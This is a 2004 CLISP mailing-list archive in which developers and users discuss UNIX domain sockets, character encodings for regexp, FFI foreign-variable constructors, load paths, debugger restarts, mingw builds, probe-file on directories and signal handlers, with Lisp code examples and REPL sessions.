>>want to add that.

clisp/modules/rawsock/sock.lisp:open-unix-socket

> So the only missing thing is to:
> o either open the function to provide a pathname or provide a separate function name
> o refactor some code in src/socket.d and stream.d to accept pathname
> o rename the resulting object from #<IO UNBUFFERED X11-SOCKET-STREAM ("unix" 5432)> to something independent of X11,
> o export it from EXT or SOCKET,
> o document it.

Bruno vetoed this approach when is was raised.
see
<http://sourceforge.net/mailarchive/message.php?msg_id=7203955>
and around.

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Date: Mon Oct  4 08:04:52 2004
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On Mon, 2004-10-04 at 15:30, Sam Steingold wrote:
> (with-open-file (s "c:/temp/foo" :direction :input
>                    :external-format charset:iso-8859-1)
>    (list (read-char s) (read-char s) (read-char s nil nil)))
> (#\DEGREE_SIGN #\Newline NIL)

This works but (read-line s) fails with "Character #\u00B0 cannot be
represented in the character set CHARSET:ASCII". Should I write my own
read-line function?

Thanks for your reply,

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> * Catalin Marinas <pznevanf@agyjbeyq.pbz> [2004-10-04 15:59:47 +0100]:
>
> On Mon, 2004-10-04 at 15:30, Sam Steingold wrote:
>> (with-open-file (s "c:/temp/foo" :direction :input
>>                    :external-format charset:iso-8859-1)
>>    (list (read-char s) (read-char s) (read-char s nil nil)))
>> (#\DEGREE_SIGN #\Newline NIL)
>
> This works but (read-line s) fails with "Character #\u00B0 cannot be
> represented in the character set CHARSET:ASCII".

This message is NOT from READ-LINE.
Try

(with-open-file (s "c:/temp/foo" :direction :input
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  (setq l (read-line s))
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Your *TERMINAL-ENCODING* is ASCII, so L (the string) cannot be properly
printer to the screen.
Try

(setq *terminal-encoding* charset:iso-8859-1)

and then evaluate L.

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On Mon, 2004-10-04 at 16:37, Sam Steingold wrote:
> This message is NOT from READ-LINE.
> Try
> 
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>   (setq l (read-line s))
>   nil)
> 
> Your *TERMINAL-ENCODING* is ASCII, so L (the string) cannot be properly
> printer to the screen.

I understand the problem now. When I initially tried to debug this, the
problem was shown on read-line but I never checked if the error location
has changed after adding :external-format.

Is there a way to enable this encoding for regexp-compile or
regexp-exec? This is where I get the error.

Thanks again,

Catalin



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Sam wrote:
>Bruno vetoed this approach when is was raised.
>see <http://sourceforge.net/mailarchive/message.php?msg_id=7203955>
>and around.
I only see mention of UDP, ARP, ICMP. Me too does not care about these here.
So where's the objection to the present topic?


>31.2.6.10. Raw Socket Access.
>This is the raw socket interface, as described in
><sys/socket.h>. Sockets are represented by their FIXNUM file
>descriptors.
I missed that one.
So a combination of rawsock:SOCKET and ext:make-stream should also work.


>        Use SOCKET:SOCKET-STREAM instead!
>This interface is very low-level, and you probably do not need it -
>unless you are doing something very unusual.
I don't feel I'm doing something unusual. X11 has done it for years.

>        Do not use EXT:MAKE-STREAM!

So should people feel safe using a combination of these two "beware of" functions when they want to connect to UNIX domain sockets?


Still, we're comparing an optional module who knows who installed it with functionality that has been in CLISP even before modules were added to CLISP (networking 1993, FFI 1994/5). I'd rather have the functionality which right now is already in the core be made usable, so I can recommend Eric to write:
#+(and clisp UNIX)
(defun socket-connect #)
instead of
#+clisp
(unless (find-package "RAWSOCK")
  (warn "Go recompile with module RAWSOCK or at least restart CLISP with RAWSOCK")
#+clisp
(defun socket-connect
  (rawsock:... 


>The handle is duplicated (with dup/dup2), so it is safe to CLOSE a
>STREAM returned by EXT:MAKE-STREAM.
That's unclear to me. One SHOULD close the stream returned by MAKE-STREAM after use, don't you think?
And one SHOULD immediately RAWSOCK:SOCK-CLOSE the original fd, shouldn't s/he?

And still, these are second-class citizens, because CLISP will not free such a socket via GC whereas it does for the X11 socket as well as the others.
So add a EXT:FINALIZE. Well no. That's broken, because nobody knows whether the socket has already been closed, unlike their core socket/file-streams unequal sisters.

And I remember fixing a bug in CLISP where sockets were "closed" twice (i.e. another later socket with the same, reused number got closed at random times), real fun!

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>Is there a way to enable this encoding for regexp-compile or
>regexp-exec? This is where I get the error.
custom:*foreign-encoding*


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> * Catalin Marinas <pznevanf@agyjbeyq.pbz> [2004-10-04 16:51:40 +0100]:
>
> Is there a way to enable this encoding for regexp-compile or
> regexp-exec?

you need to set *MISC-ENCODING* to avoid this error.
Note that OS-supplied regexp library uses "the current encoding from the
OS" (as specified by SUS6) internally, so YMMV wrt matching behavior.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-10-04 17:52:36 +0200]:
>
> I only see mention of UDP, ARP, ICMP. Me too does not care about these here.
> So where's the objection to the present topic?

I don't care enough about this to do research myself.
Maybe Bruno will speak up on this again?

>>The handle is duplicated (with dup/dup2), so it is safe to CLOSE a
>>STREAM returned by EXT:MAKE-STREAM.
> That's unclear to me. One SHOULD close the stream returned by
> MAKE-STREAM after use, don't you think?  And one SHOULD immediately
> RAWSOCK:SOCK-CLOSE the original fd, shouldn't s/he?

of course.
I will add this shortly:

(defun open-unix-socket-stream (pathname &rest opts &key (type :SOCK_STREAM))
  "Return the lisp STREAM pointing to this UNIX socket special device.
The return value is already FINALIZEd by CLOSE.
Passes :TYPE to SOCKET and all the other options to MAKE-STREAM."
  (multiple-value-bind (sock address) (open-unix-socket pathname type)
    (ext:remove-plist opts :type)
    (let ((stream (apply #'ext:make-stream sock opts)))
      (finalize stream #'close)
      (sock-close sock)
      (values stream address))))


> And still, these are second-class citizens, because CLISP will not
> free such a socket via GC whereas it does for the X11 socket as well
> as the others.

if you only use OPEN-UNIX-SOCKET-STREAM, you should be OK.

> So add a EXT:FINALIZE. Well no. That's broken, because nobody knows
> whether the socket has already been closed, unlike their core
> socket/file-streams unequal sisters.

nope, the above should work just fine.

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On Mon, 2004-10-04 at 17:20, Sam Steingold wrote:
> > Is there a way to enable this encoding for regexp-compile or
> > regexp-exec?
> 
> you need to set *MISC-ENCODING* to avoid this error.
> Note that OS-supplied regexp library uses "the current encoding from the
> OS" (as specified by SUS6) internally, so YMMV wrt matching behavior.

Thanks for all the replies. It works now.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-10-04 18:13:24 +0200]:
>
>>Is there a way to enable this encoding for regexp-compile or
>>regexp-exec? This is where I get the error.
> custom:*foreign-encoding*

This is not FFI.
Use the source, Luke!
custom:*misc-encoding* is used there.

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Sam wrote:
>> So add a EXT:FINALIZE. Well no. That's broken, because nobody knows
>> whether the socket has already been closed, unlike their core
>> socket/file-streams unequal sisters.
>      (finalize stream #'close)
>nope, the above should work just fine.
You're right. CL:CLOSE knows not to internally close twice.

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Sam wrote:
>This is not FFI.
>Use the source, Luke!
I very much prefer to read the documentation.

Encoding issues are not mentioned in the section on the regexp extension.

>custom:*misc-encoding* is used there.
I forgot that regexp was turned from an FFI module to a link-module, sorry.

The present case shows that this move introduced a change in user-visible behaviour. This change is not reflected in the documentation. It's a change in the API.

BTW, the part on REGEXP:REGEXP-MATCHER "because CLISP uses CHARSET:UTF-8 internally" is a little confusing to me in this light. It sounds like encodings would play no role when using the regexp module because it's fixed.

Similarly, "POSIX constrains regex.h to use the current locale" is confusing to me: what does that mean to users of the module?

I tend to interpret it as meaning that if I started CLISP in the typical C locale, then there's no way I can use the regexp module to handle strings containing ISO-8859-1 data (unless I can modify the current locale frmo within CLISP) -- Ouch!?!

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-10-05 10:16:28 +0200]:
>
> BTW, the part on REGEXP:REGEXP-MATCHER "because CLISP uses
> CHARSET:UTF-8 internally" is a little confusing to me in this
> light. It sounds like encodings would play no role when using the
> regexp module because it's fixed.

lisp strings have to be converted to C strings before passing them to
the regexp library, and that is done using encodings.

> Similarly, "POSIX constrains regex.h to use the current locale" is
> confusing to me: what does that mean to users of the module?

it means that posix regexp interprets strings in the current locale only.

> I tend to interpret it as meaning that if I started CLISP in the
> typical C locale, then there's no way I can use the regexp module to
> handle strings containing ISO-8859-1 data (unless I can modify the
> current locale frmo within CLISP) -- Ouch!?!

not just "Ouch" -- O_U_C_H!!!

<https://sourceforge.net/tracker/?func=detail&aid=946456&group_id=1355&atid=351355>

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Date: Tue Oct  5 09:03:32 2004
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Hi,

CVS CLISP now contains both ffi:foreign-variable and =
ffi:foreign-function constructors. This helps avoid some
(with-c-var (p 'c-pointer x)=20
  (cast p `(c-ptr (c-array elt-type ,len)))
whose sole purpose was type conversion.

with-c-var and with-foreign wrap their body in a thunk (aka. closure) =
and create an unwind-protect frame so they have much higher overhead =
than simple constructors.

Here's an example problem from Sam Steingold from August 2003
Subject: FFI: variable size values (was FFI crash: what am I missing?!)
>> >E.g., suppose
>> >        int* foo();
>> >will return the array of integers of size N, where N is the return
>> >value of another function
>> >        int foo_size();
>> >how do I express foo() and foo_size() in CLISP FFI?

Back then, the answer was:
(def-call-out %foo1 (:name "foo")
  (:return-type c-pointer) (:language :stdc))
(defun foo1 ()
  (let ((ptr (%foo1)))
    (when ptr
      (with-c-var (array 'c-pointer ptr)
        (cast array `(c-ptr (c-array sint ,(foo-size))))))))

These days, you have two possibilities:
(defun foo2 ()
  (let ((buf (%foo1)))
    (when buf
      (foreign-variable buf
       (parse-c-type `(c-array int ,(foo-size)))
       :name "foo"))))

Or, using the new (C-POINTER X) type declaration, which creates =
foreign-variable objects so only CAST (OFFSET) is needed to adjust the =
array size:

(def-call-out %foo1 (:name "foo")
  (:return-type (c-pointer int)) (:language :stdc))
(defun foo3 ()
  (let ((buf (%foo1)))
    (when buf
      (with-c-place (p buf)
        (c-var-object (offset p 0 `(c-array int ,(foo-size))))))))
with-c-place is just macro substitution. It has little to do with =
with-foreign-object and with-c-var (who follows me here?).

Both these functions are much more performant than the original one. =
I'd be grateful if somebody posted timings.

[23]> (foo2)
#<FOREIGN-VARIABLE "foo" #x081C3020>
[24]> (foo3)
#<FOREIGN-VARIABLE #x081C3020>
[25]> (foreign-value(foo3))
#(97 98 99)
[26]> (foreign-value(foo2))
#(97 98 99)

Regards,
	J=F6rg H=F6hle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-10-05 18:01:02 +0200]:
>
> CVS CLISP now contains both ffi:foreign-variable and
> ffi:foreign-function constructors.

thanks!

please note that pushSTACK(listof()) has undefined consequences and
should be avoided - unless you want to kill a couple of hours chasing
platform-specific bugs...

(I fixed it in foreign.d)

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-10-05 18:01:02 +0200]:
>
> CVS CLISP now contains both ffi:foreign-variable and
> ffi:foreign-function constructors.

you have to document this in the impnotes!

> Here's an example problem from Sam Steingold from August 2003

please add this example to impnotes too!

thanks!

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Hello,

I've got problems with load paths.

The package has this directory structure:

plisp/compiler/build.lisp
plisp/compiler/x.lisp
plisp/common-lisp/y.lisp

the build.lisp file contains load commands:

(load "x")
;; ...
(load "common-lisp/y")

I cannot find a configuration for custom:*load-paths* or
*default-pathname-defautls* that is able to work. It can load the x
files, but not the y files.

Would it be possible to load it without modifying the distributed "build.lisp"?


% /usr/local/bin/clisp -q -ansi -norc

[1]> (setf (logical-pathname-translations "PACKAGES")
      '(("**;*"       "/usr/local/share/lisp/packages/**/*")
        ("**;*.*"     "/usr/local/share/lisp/packages/**/*.*")
        ("**;*.*.*"   "/usr/local/share/lisp/packages/**/*.*")))
((#P"PACKAGES:**;*" "/usr/local/share/lisp/packages/**/*")
 (#P"PACKAGES:**;*.*" "/usr/local/share/lisp/packages/**/*.*")
 (#P"PACKAGES:**;*.*.*" "/usr/local/share/lisp/packages/**/*.*"))
[2]> (let* ((*default-pathname-defaults* 
              (translate-logical-pathname "packages:com;1729;plisp;"))
            (custom:*load-paths* (list  "packages:com;1729;plisp;"
                                        "packages:com;1729;plisp;compiler;" )))
  (load "build"))
;; Loading file /usr/local/share/lisp/packages/com/1729/plisp/compiler/build.lisp ...
;;  Loading file /usr/local/share/lisp/packages/com/1729/plisp/compiler/vars.lisp ...
;;  Loaded file /usr/local/share/lisp/packages/com/1729/plisp/compiler/vars.lisp
[...]
;;  Loading file /usr/local/share/lisp/packages/com/1729/plisp/compiler/flow.lisp ...
;;  Loaded file /usr/local/share/lisp/packages/com/1729/plisp/compiler/flow.lisp
;;  Loading file /usr/local/share/lisp/packages/com/1729/plisp/compiler/util.lisp ...
;;  Loaded file /usr/local/share/lisp/packages/com/1729/plisp/compiler/util.lisp
*** - LOAD: A file with name common-lisp/bind does not exist
Break 1 [3]> 

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Date: Tue Oct  5 14:28:57 2004
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Pascal J.Bourguignon writes:
> I've got problems with load paths.

Sorry, forget it, there was missing files.

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Hi,

The use-value restart may have its uses, but
1. I find it inconsistent with the REP loop.
2. It currently obliges people to use #.forms for every non trivial input.
3. #. is not familiar to novices, but I hope novices are interested in the features of the debugger.

I recommend that EVAL be used on top of the user input, avoiding the need for #.

Please look at this sample session:
[9]> (package-name 123)
*** - PACKAGE-NAME: argument should be a package or a package name, not 123
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.
ABORT          :R2      ABORT
Break 1 [10]> *package*
#<PACKAGE COMMON-LISP-USER>
Break 1 [10]> use-value
Use instead: *package*
*** - PACKAGE-NAME: There is no package with name "*PACKAGE*"
The following restarts are available:
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ABORT          :R2      ABORT
Break 1 [11]> use-value
Use instead: #.*package*
"COMMON-LISP-USER"
[12]> 

Cost of change to users:
List input and symbols need be quoted, strings remain as is.


The change would provide other advantages typical of the REPL:
[12]> (package-name 123)
*** - PACKAGE-NAME: argument should be a package or a package name, not 123
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.
ABORT          :R2      ABORT
Break 1 [13]> (find-package"KEYWORD")
#<PACKAGE KEYWORD>
Break 1 [13]> use-value
Use instead: #.(print *) -- here we could then input * instead to use a result computed in the REPL
#<PACKAGE KEYWORD>
"KEYWORD"
[14]>

Regards,
	Jorg Hohle


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Hi,

    I have recently installed CLISP on my Desktop.
    I want to move the installation to some more
suitable directory and uninstall from AllUsers\Desktop
on Win 2K. 
    Please suggest as to how I can uninstall.

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Hi all,

I can't build clisp with mingw on Windows. I get the following error
during configuration:

checking for ioctl declaration...
*** Missing autoconfiguration support for this platform.
*** Please report this as a bug to the CLISP developers.
*** When doing this, please also show your system's ioctl() declaration.

AFAICT mingw doesn't have the sys/ioctl.h file. Is this a problem with
clisp or my cygwin install?


Some more info:

I'm using the cvs version of clisp and have successfully built under
cygwin without the --with-mingw option. However, I'm linking in an SDL
module and when I create windows via SDL they are dead on arrival
(they don't respond to events). SDL builds with the -mno-cygwin option
so I think this might be a cygwin/mingw compatibility problem which is
why I'd like to try building clisp via mingw.

-- 
jan



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I moved from Mathematica to Common Lisp (via Maxima) and I missed the nice graphics packages of Mathematica. So I set out to create a graphics package as an exercise to learn Common Lisp. I borrowed the syntax from Mathematica and other programs I've liked. I borrowed the idea for creating postscript graphics from chapter 12 of Steele's book.  After 6 months, the program has turned out pretty well and am very glad to have learned some Common Lisp.

The package is called "datoura". It is open source and version 1.0 (~60 kBytes) is available at 

http://www.datoura.org

The package features basic graphics primitives (text, line, point, polygon...) and plots (histogram, scatter-plot, bar-graph ...) and data table loading and manipulation (csv-import, subsetting, grouping, statistics). The graphics and plot routines handle sequences as input data, so you don't need to load your data into any custom data structures to use them. Datoura can handle plots  of ~1 million data points fairly quickly, superimpose multiple plots, use multiple axes and draw legends. It comes with a couple of example files and minimal documentation. 

The program was developed in CLisp on Linux. I have also tested it with cygwin (CLisp), visualCLisp and gcl in Linux (where it works with less features).

It hasn't been extensively tested against weird cases but the examples work. If you try it out, I would be happy to know how it works for you.

Steve Eichblatt




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jan schrieb:
> I'm using the cvs version of clisp and have successfully built under
> cygwin without the --with-mingw option. However, I'm linking in an SDL
> module and when I create windows via SDL they are dead on arrival
> (they don't respond to events). SDL builds with the -mno-cygwin option
> so I think this might be a cygwin/mingw compatibility problem which is
> why I'd like to try building clisp via mingw.

Have you tried using SDL under cygwin?
I (any probably many others) would need that also, but I had no time yet.
There's a cygwin FAQ entry how to do that sort of thing.
   http://www.cygwin.com/faq/faq_3.html#SEC100
-- 
Reini Urban
http://xarch.tu-graz.ac.at/home/rurban/


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> * jan <wnazne@vcevzhf.pbz.nh> [2004-10-11 15:52:53 +1000]:
>
> I can't build clisp with mingw on Windows. I get the following error
> during configuration:
>
> checking for ioctl declaration...
> *** Missing autoconfiguration support for this platform.
> *** Please report this as a bug to the CLISP developers.
> *** When doing this, please also show your system's ioctl() declaration.

you did not tell us how you built CLISP.
the following WFM:

$ ./configure --with-mingw --with-module=syscalls --build build-O-mingw

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> * Ravi Sinha <eniv_x_fvaun@lnubb.pbz> [2004-10-09 10:31:41 -0700]:
>
>     I have recently installed CLISP on my Desktop.
>     I want to move the installation to some more
> suitable directory and uninstall from AllUsers\Desktop
> on Win 2K. 
>     Please suggest as to how I can uninstall.

just delete the CLISP directory and you are all set.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-10-07 18:47:04 +0200]:
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> 1. I find it inconsistent with the REP loop.
> 2. It currently obliges people to use #.forms for every non trivial input.
> 3. #. is not familiar to novices, but I hope novices are interested in
> the features of the debugger.

I thought of evaluating the user input but decided against it.
I don't remember why.

What do other lisps do?

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Hi,

I=92m using clisp on Linux workstations (running RedHat) for an
AI class, and we sometimes encounter a segmentation fault. The
code runs ok in other CommonLISP environments. When we get
a segmentation fault, it often continues to recur in the same login
session. Sometimes, we can log out of the machine and log back=20
in and clisp (and the code) runs fine without the segmentation
fault occurring again. But sometimes it persists with a particular
code file even when we move to another machine (a code file
that runs fine in another LISP environment). Do you have any
suggestions about how to deal with this problem?

Thanks,
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> * Ellen C. Hildreth <ruvyqergu@jryyrfyrl.rqh> [2004-10-12 10:51:25 -0400]:
>
> I=C2=92m using clisp on Linux workstations (running RedHat) for an
> AI class, and we sometimes encounter a segmentation fault. The
> code runs ok in other CommonLISP environments. When we get
> a segmentation fault, it often continues to recur in the same login
> session. Sometimes, we can log out of the machine and log back=20
> in and clisp (and the code) runs fine without the segmentation
> fault occurring again. But sometimes it persists with a particular
> code file even when we move to another machine (a code file
> that runs fine in another LISP environment). Do you have any
> suggestions about how to deal with this problem?

<http://clisp.cons.org/faq.html#bugs> =3D=3D>
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Reini Urban <rurban@x-ray.at> writes:

> Have you tried using SDL under cygwin?
> I (any probably many others) would need that also, but I had no time yet.
> There's a cygwin FAQ entry how to do that sort of thing.
>    http://www.cygwin.com/faq/faq_3.html#SEC100

No I haven't, and after reading that faq entry I'm glad I won't have to.
clisp + SDL work fine together as long as clisp is built with mingw =).

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Sam Steingold <sds@gnu.org> writes:

>> * jan [2004-10-11 15:52:53 +1000]:
>>
>> I can't build clisp with mingw on Windows. I get the following error
>> during configuration:
>>
>> checking for ioctl declaration...
>> *** Missing autoconfiguration support for this platform.
>> *** Please report this as a bug to the CLISP developers.
>> *** When doing this, please also show your system's ioctl() declaration.
>
> you did not tell us how you built CLISP.
> the following WFM:
>
> $ ./configure --with-mingw --with-module=syscalls --build build-O-mingw

That line didn't WFM (same error as above). I have been building with
the following commands:

./configure build-cygwin
or
./configure --with-mingw build-mingw

and then following the on screen instructions.

I tried the 2.33.2 release with mingw and it worked (fixed my SDL
problems too). Now that I have a working build it should be easier to
track down what's going wrong with the cvs version, I'll report what I
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jan schrieb:
> Reini Urban <rurban@x-ray.at> writes:
>>Have you tried using SDL under cygwin?
>>I (any probably many others) would need that also, but I had no time yet.
>>There's a cygwin FAQ entry how to do that sort of thing.
>>   http://www.cygwin.com/faq/faq_3.html#SEC100
> 
> No I haven't, and after reading that faq entry I'm glad I won't have to.
> clisp + SDL work fine together as long as clisp is built with mingw =).

What a pity. I'd need SDL for another cygwin project of mine.
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Hi,

did you ever wish for LOAD not to abort upon encountering the first error while loading the file? To continue processign the remaining forms in the file instead?

Since both .lisp and .fas files are a successions of sexp [(loop (eval (read))], there could be a SKIP restart instead of solely the ABORT one, so as to be able to continue with the next form in the file.

In my firewall log-file analysis application, I provided two restarts when parsing .cvs files: one to stop processing this .csv file, and one to skip to the next line. What I propose here is the equivalent of the latter for LOAD.

What do people think?

[I tend to write feature requests here instead of sourceforge, so clisp-users can comment on them.]

Another approach would be a RETURN-FROM command in the debugger, to allow to shortcut the execution of a function currently on the stack with a given value. IIRC, CMUCL has this feature. CLISP only has it for EVAL frames, which are rare in compiled code.

In my logfile analysis application, I had somehow arranged for the restarts to have negligible impact on performance (hmm, maybe I finally used continuable errors instead).

Regards,
	Jorg Hohle.


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Hello,
I am implementing an algorithm that deals with very very small numbers.
I decided to try to use the rationals in order to represent these small
quantities because double-floats's precision wasn't enough.  

After running for a while the program ends with the error:
*** - overflow during multiplication of large numbers

I thought that rationals were made of two bignums and that I could not
have overflow errors. Am I wrong ?

Thibault

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Date: Thu Oct 14 08:56:25 2004
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Thibault Langlois wrote:

>I thought that rationals were made of two bignums and that I could not
>have overflow errors. Am I wrong ?

Well, maybe you should have a look at how large these bignums become, you may be surprised.
Maybe you should have a look at CL's long float type (4 types in CL, only 2 in C et al), and esp. CLISP' settable length of these.

My experience with computing integrals was that using ratios was not better than floats, because
a) the polynomial coefficients, represented as ratios, had huge numerators and denominators (bignums)
b) so computing with them was *orders* of magnitudes slower than with floating point,
c) well-chosen floating-point types gave enough precision.

Regards,
	Jorg Hohle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-10-14 09:56:49 +0200]:
>
> did you ever wish for LOAD not to abort upon encountering the first
> error while loading the file? To continue processign the remaining
> forms in the file instead?
>
> Since both .lisp and .fas files are a successions of sexp [(loop (eval
>(read))], there could be a SKIP restart instead of solely the ABORT
>one, so as to be able to continue with the next form in the file.

sure.

> Another approach would be a RETURN-FROM command in the debugger, to
> allow to shortcut the execution of a function currently on the stack
> with a given value. IIRC, CMUCL has this feature. CLISP only has it
> for EVAL frames, which are rare in compiled code.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-10-14 17:39:43 +0200]:
>
> Thibault Langlois wrote:
>
>>I thought that rationals were made of two bignums and that I could not
>>have overflow errors. Am I wrong ?
>
> Well, maybe you should have a look at how large these bignums become,
> you may be surprised.  Maybe you should have a look at CL's long float
> type (4 types in CL, only 2 in C et al), and esp. CLISP' settable
> length of these.

<http://clisp.cons.org/impnotes/num-concepts.html#lfd>


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On Thu, 2004-10-14 at 20:51, Sam Steingold wrote:
> > * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-10-14 17:39:43 +0200]:
> >
> > Thibault Langlois wrote:
> >
> >>I thought that rationals were made of two bignums and that I could not
> >>have overflow errors. Am I wrong ?
> >
> > Well, maybe you should have a look at how large these bignums become,
> > you may be surprised.  Maybe you should have a look at CL's long float
> > type (4 types in CL, only 2 in C et al), and esp. CLISP' settable
> > length of these.
> 
> <http://clisp.cons.org/impnotes/num-concepts.html#lfd>

Thanks for your answers. 
Clisp's long-floats are really long :-) ! On cmucl and Lispworks
long-float and double-float have the same size. 
Using long floats is indeed much more efficient. There is also a variant
of the algorithm I use (Baum-Welch algorithm for the estimation of HMM
to name it) that rescales values during computation but I haven't
implemented it yet.

I just tried the lazy way using rationals. I expected the calculation
eventually last too much time but I was not expecting an overflow error.

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-10-14 09:56:49 +0200]:
>
> did you ever wish for LOAD not to abort upon encountering the first
> error while loading the file? To continue processign the remaining
> forms in the file instead?
>
> Since both .lisp and .fas files are a successions of sexp [(loop (eval
> (read))], there could be a SKIP restart instead of solely the ABORT
> one, so as to be able to continue with the next form in the file.

I think this would require a RESTART-BIND around evaluating every single
form which, unless done by hand with load-time evaluation or something,
would be a performance killer.

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Hello, All!

sorry, i don't have latest binaries for win32 platform (i have 2.33.1) so i
cannot see if bug is present in latest version, sorry if it's already have
been reported/fixed..

bug looks like this:

[1]> (probe-file #p"h:\\lisp\\asdf.lisp")
#P"H:\\lisp\\asdf.lisp"
[2]> (probe-file #p"h:\\lisp\\")

*** - no file name given: #P"H:\\lisp\\"
Break 1 [3]>

it breaks on any folder..
as i understand, it should work fine with folders (and it does in all other
lisps i have here), and it should not report error anyway..

With best regards.





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On Wed, 20 Oct 2004 05:38:15 +0300, "Randolph Udodenko" <udodenko@users.sourceforge.net> wrote:

> as i understand, it should work fine with folders 

No, it doesn't have to.

> (and it does in all other lisps i have here), and it should not
> report error anyway..

Here's a good explanation and a workaround:

  <http://www.gigamonkeys.com/book/practical-a-portable-pathname-library.html>

Edi.



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> * Randolph Udodenko <hqbqraxb@hfref.fbheprsbetr.arg> [2004-10-20 05:38:15 +0300]:
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> [2]> (probe-file #p"h:\\lisp\\")
>
> *** - no file name given: #P"H:\\lisp\\"
>
> it breaks on any folder..  as i understand, it should work fine with
> folders (and it does in all other lisps i have here), and it should
> not report error anyway..

<http://clisp.cons.org/impnotes/file-dict.html#probe-dir>

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Date: Wed Oct 20 13:39:20 2004
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(message (Hello 'Edi)
(you :wrote  :on '(Wed, 20 Oct 2004 17:38:36 +0200))
(

 >> (and it does in all other lisps i have here), and it should not
 >> report error anyway..

 EW> Here's a good explanation and a workaround:

 EW>
 EW> <http://www.gigamonkeys.com/book/practical-a-portable-pathname-
 EW> library.html>

oh shit..
problem is not in my code - i try to run CL-PREVALENCE examples with clisp
(it appears to be working with sbcl, lispworks and openmcl according to
conditional parts in system-dependent layer) and there is such expression:

(probe-file (get-directory system))

i couldn't imagine that there can be incompatibility with such stuff..

)
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(prin1 "Jane dates only Lisp programmers"))





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Date: Wed Oct 20 15:34:58 2004
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On Wed, 20 Oct 2004 23:33:35 +0300, "Randolph Udodenko" <udodenko@users.sourceforge.net> wrote:

> problem is not in my code - i try to run CL-PREVALENCE examples with
> clisp (it appears to be working with sbcl, lispworks and openmcl
> according to conditional parts in system-dependent layer) and there
> is such expression:
>
> (probe-file (get-directory system))

Maybe you should report that to the CL-PREVALENCE maintainers.

Edi.



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Randolph Udodenko writes:
> (message (Hello 'Edi)
> (you :wrote  :on '(Wed, 20 Oct 2004 17:38:36 +0200))
> (
> 
>  >> (and it does in all other lisps i have here), and it should not
>  >> report error anyway..
> 
>  EW> Here's a good explanation and a workaround:
> 
>  EW>
>  EW> <http://www.gigamonkeys.com/book/practical-a-portable-pathname-
>  EW> library.html>
> 
> oh shit..
> problem is not in my code - i try to run CL-PREVALENCE examples with clisp
> (it appears to be working with sbcl, lispworks and openmcl according to
> conditional parts in system-dependent layer) and there is such expression:
> 
> (probe-file (get-directory system))
> 
> i couldn't imagine that there can be incompatibility with such stuff..

The joys of Common-Lisp portability...

The only thing you can do with a path to a directory is 
ENSURE-DIRECTORIES-EXIST.

PROBE-FILE is named PROBE-FILE, not PROBE-FILE-SYSTEM-ITEM or PROBE-DIRECTORY.


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In linux.lisp, there's a signal handling example where the
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Usually, this is a big no-no in signal handlers in C. (About the only
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Does clisp implement some special magic to allow it safely?
Is the whole lisp available during signal handlers? 
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[22]> (linux:set-signal-handler linux:SIGALRM  (lambda (signal) (princ ".")))
#<FOREIGN-FUNCTION #x1001C378>
[23]> (linux:ualarm 1000000/10 1000000/10)
0
[24]> .....................................................................(loop)
.
NIL
[25]> ................(loop)
..
NIL
[26]> ...............................................(loop for i from 0)
.
*** - +: "." is not a NUMBER
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.

Break 1 [27]> (loop)

** - Continuable Error
EVAL: User break
If you continue (by typing 'continue'): Continue execution
The following restarts are also available:
USE-VALUE      :R1      You may input a value to be used instead.

Break 2 [28]> 



[32]> (linux:ualarm 1000000/10 1000000/10)
0
[33]> ...........................................................................................................................................................................................................................(dolist (i (mapcar (function symbol-name)
        (sort (let ((sl '())) (do-external-symbols (s "LINUX") (push s sl)) sl)
              (function string<=)))) (format t "~60@A~%" i) (loop for i to 1000000))
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..                                                          B0
............                     .                    .               B110
............
*** - >: "." is not a REAL
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.

Break 1 [34]> :bt

<1> #<SYSTEM-FUNCTION EXT:SHOW-STACK>
<2> #<COMPILED-CLOSURE SYSTEM::DEBUG-BACKTRACE>
<3> #<SYSTEM-FUNCTION SYSTEM::READ-EVAL-PRINT>
<4> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2-1>
<5> #<SYSTEM-FUNCTION SYSTEM::SAME-ENV-AS>
<6> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP-2>
<7> #<SYSTEM-FUNCTION SYSTEM::DRIVER>
<8> #<COMPILED-CLOSURE SYSTEM::BREAK-LOOP>
<9> #<SYSTEM-FUNCTION INVOKE-DEBUGGER>
<10> #<SYSTEM-FUNCTION ERROR> 0
<11> #<COMPILED-CLOSURE SYSTEM::CHECK-VALUE>
<12> #<SYSTEM-FUNCTION >> 1
EVAL frame for form (WHEN (> I 1000000) (LOOP-FINISH))
<13> #<SPECIAL-OPERATOR WHEN>
EVAL frame for form 
(TAGBODY SYSTEM::BEGIN-LOOP (WHEN (> I 1000000) (LOOP-FINISH)) (PROGN)
 (PSETQ I (+ I 1)) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP
 (MACROLET
  ((LOOP-FINISH NIL (SYSTEM::LOOP-FINISH-WARN) '(GO SYSTEM::END-LOOP)))))
<14> #<SPECIAL-OPERATOR TAGBODY>
EVAL frame for form 
(MACROLET ((LOOP-FINISH NIL '(GO SYSTEM::END-LOOP)))
 (TAGBODY SYSTEM::BEGIN-LOOP (WHEN (> I 1000000) (LOOP-FINISH)) (PROGN)
  (PSETQ I (+ I 1)) (GO SYSTEM::BEGIN-LOOP) SYSTEM::END-LOOP
  (MACROLET
